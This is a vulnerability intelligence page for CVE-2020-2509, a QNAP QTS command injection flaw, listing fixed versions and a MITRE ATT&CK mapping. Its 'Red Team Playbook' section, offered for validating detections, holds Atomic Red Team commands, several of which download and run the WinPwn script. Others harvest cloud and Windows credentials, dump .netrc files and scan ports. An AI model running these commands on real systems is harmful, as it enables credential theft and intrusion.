CVE-2020-2509

CRITICAL CISA KEV POC TTE 466d Pub 17/04 Upd 21/10

Overview

This vulnerability is a command injection flaw arising from improper sanitization of user-supplied input within QNAP's QTS and QuTS hero operating systems. The root cause lies in the failure to adequately validate parameters passed to system-level command execution functions, allowing arbitrary command injection. The affected components include various QTS builds prior to specified fixed versions, where input handling in management interfaces or APIs is insufficiently secured against injection attacks.

Vulnerability Description

A command injection vulnerability has been reported to affect QTS and QuTS hero. If exploited, this vulnerability allows attackers to execute arbitrary commands in a compromised application. We have already fixed this vulnerability in the following versions: QTS 4.5.2.1566 Build 20210202 and later QTS 4.5.1.1495 Build 20201123 and later QTS 4.3.6.1620 Build 20210322 and later QTS 4.3.4.1632 Build 20210324 and later QTS 4.3.3.1624 Build 20210416 and later QTS 4.2.6 Build 20210327 and later QuTS hero h4.5.1.1491 build 20201119 and later

Impact

An unauthenticated attacker can execute arbitrary system commands on affected QNAP devices, gaining full control over the operating system. This enables unauthorized access to sensitive data, manipulation or deletion of files, installation of persistent malware, and disruption of device availability. The lack of authentication requirements significantly lowers the barrier for exploitation, increasing the risk of widespread compromise and lateral movement within networks relying on vulnerable QTS or QuTS hero systems.

Solution

QNAP has released fixed versions addressing this vulnerability: QTS 4.5.2.1566 Build 20210202 and later, QTS 4.5.1.1495 Build 20201123 and later, QTS 4.3.6.1620 Build 20210322 and later, QTS 4.3.4.1632 Build 20210324 and later, QTS 4.3.3.1624 Build 20210416 and later, QTS 4.2.6 Build 20210327 and later, and QuTS hero h4.5.1.1491 build 20201119 and later. Administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at https://www.qnap.com/en/security-advisory/qsa-21-05.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical command injection vulnerability has been identified in specific versions of QTS and QuTS hero, which are operating systems used in QNAP network-attached storage devices. This vulnerability arises from improper validation of user-supplied input, allowing attackers to execute arbitrary commands on the underlying operating system. The flaw enables an attacker to manipulate the application to run commands that could compromise the integrity, confidentiality, and availability of the system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating that successful exploitation could lead to significant security breaches.

Attack vectors for this vulnerability are particularly concerning due to their potential for exploitation via remote access. An attacker could leverage the command injection flaw by sending crafted input to the affected application, which would be processed without adequate sanitization. This could occur through various interfaces, including web-based management consoles or APIs. Once the attacker gains control, they could execute commands that facilitate further attacks, such as installing malware, exfiltrating sensitive data, or even launching denial-of-service attacks against the device or the network it operates within. The simplicity of exploiting this vulnerability makes it a prime target for malicious actors.

The real-world impact of this vulnerability can be profound, especially for organizations that rely on QNAP devices for data storage and management. Successful exploitation could lead to unauthorized access to sensitive business data, resulting in data breaches that could incur substantial financial losses, legal repercussions, and damage to reputation. Additionally, the ability to execute arbitrary commands could allow attackers to pivot to other systems within the network, escalating their access and potentially compromising additional resources. For businesses, the risk extends beyond immediate financial implications; it also includes the long-term effects of diminished trust from clients and partners.

To detect and mitigate the risks associated with this vulnerability, organizations should prioritize updating their QNAP devices to the latest versions that have addressed the flaw. Regular patch management is crucial, as it ensures that known vulnerabilities are remediated promptly. Additionally, implementing network segmentation can help contain any potential breaches, limiting an attacker's ability to move laterally within the network. Organizations should also employ intrusion detection systems (IDS) to monitor for unusual activity that may indicate exploitation attempts. Regular security audits and vulnerability assessments can further enhance an organization's security posture, allowing for proactive identification and remediation of potential weaknesses.

In conclusion, the command injection vulnerability affecting QTS and QuTS hero presents a significant threat to organizations utilizing QNAP devices. The potential for arbitrary command execution poses severe risks, including data breaches and operational disruptions. A comprehensive approach to detection and mitigation, including timely updates, network segmentation, and continuous monitoring, is essential to safeguard against exploitation. As cyber threats continue to evolve, organizations must remain vigilant and proactive in their cybersecurity strategies to protect their assets and maintain trust with stakeholders.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2020-2509, with new triggers emerging after a period of dormancy. Despite this increase in detection events, the Exploit Prediction Scoring System (EPSS) score for this vulnerability has declined significantly, indicating a reduced likelihood of widespread exploitation in the near term. This divergence suggests that while opportunistic scanning or probing may be intensifying, the maturity or availability of reliable exploit tools remains limited. The appearance of a new proof-of-concept exploit repository, although not definitively linked to CVE-2020-2509, underscores ongoing attacker interest in QNAP device vulnerabilities and warrants continued monitoring. For defenders, this evolving landscape highlights the importance of maintaining vigilance even as predictive exploit risk metrics decrease, as increased reconnaissance activity can precede more sophisticated attacks. Overall, the threat level remains critical due to the vulnerability’s inherent severity, but the immediate risk of large-scale exploitation appears to have moderated.

Affected Products (86)

Vendor Product Version CPE
qnap Qnap Qts All cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
qnap Qnap Qts All cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
qnap Qnap Qts All cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:-:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:build_20170517:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:build_20190322:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:build_20190730:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:build_20190921:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:build_20191107:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:build_20200109:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:build_20200421:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:build_20200611:*:*:*:*:*:*
qnap Qnap Qts 4.2.6 cpe:2.3:o:qnap:qts:4.2.6:build_20200821:*:*:*:*:*:*
qnap Qnap Qts 4.3.3.0174 cpe:2.3:o:qnap:qts:4.3.3.0174:*:*:*:*:*:*:*
qnap Qnap Qts 4.3.3.0868 cpe:2.3:o:qnap:qts:4.3.3.0868:*:*:*:*:*:*:*
qnap Qnap Qts 4.3.3.0998 cpe:2.3:o:qnap:qts:4.3.3.0998:*:*:*:*:*:*:*
qnap Qnap Qts 4.3.3.1051 cpe:2.3:o:qnap:qts:4.3.3.1051:*:*:*:*:*:*:*
qnap Qnap Qts 4.3.3.1098 cpe:2.3:o:qnap:qts:4.3.3.1098:*:*:*:*:*:*:*
qnap Qnap Qts 4.3.3.1161 cpe:2.3:o:qnap:qts:4.3.3.1161:*:*:*:*:*:*:*
qnap Qnap Qts 4.3.3.1252 cpe:2.3:o:qnap:qts:4.3.3.1252:*:*:*:*:*:*:*
+66 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
jbaines-r7/overkill
QNAP N-Day (Probably not CVE-2020-2509)
jbaines-r7 14 10 2022-07-27 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

4 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-07-27
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2022-04-11
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
80% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
58%
High High
CAPEC-6 Argument Injection
51%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
51%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-2509
qnap.com
GitHub CVE x_refsource_MISC
https://www.qnap.com/en/security-advisory/qsa-21-05
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-2509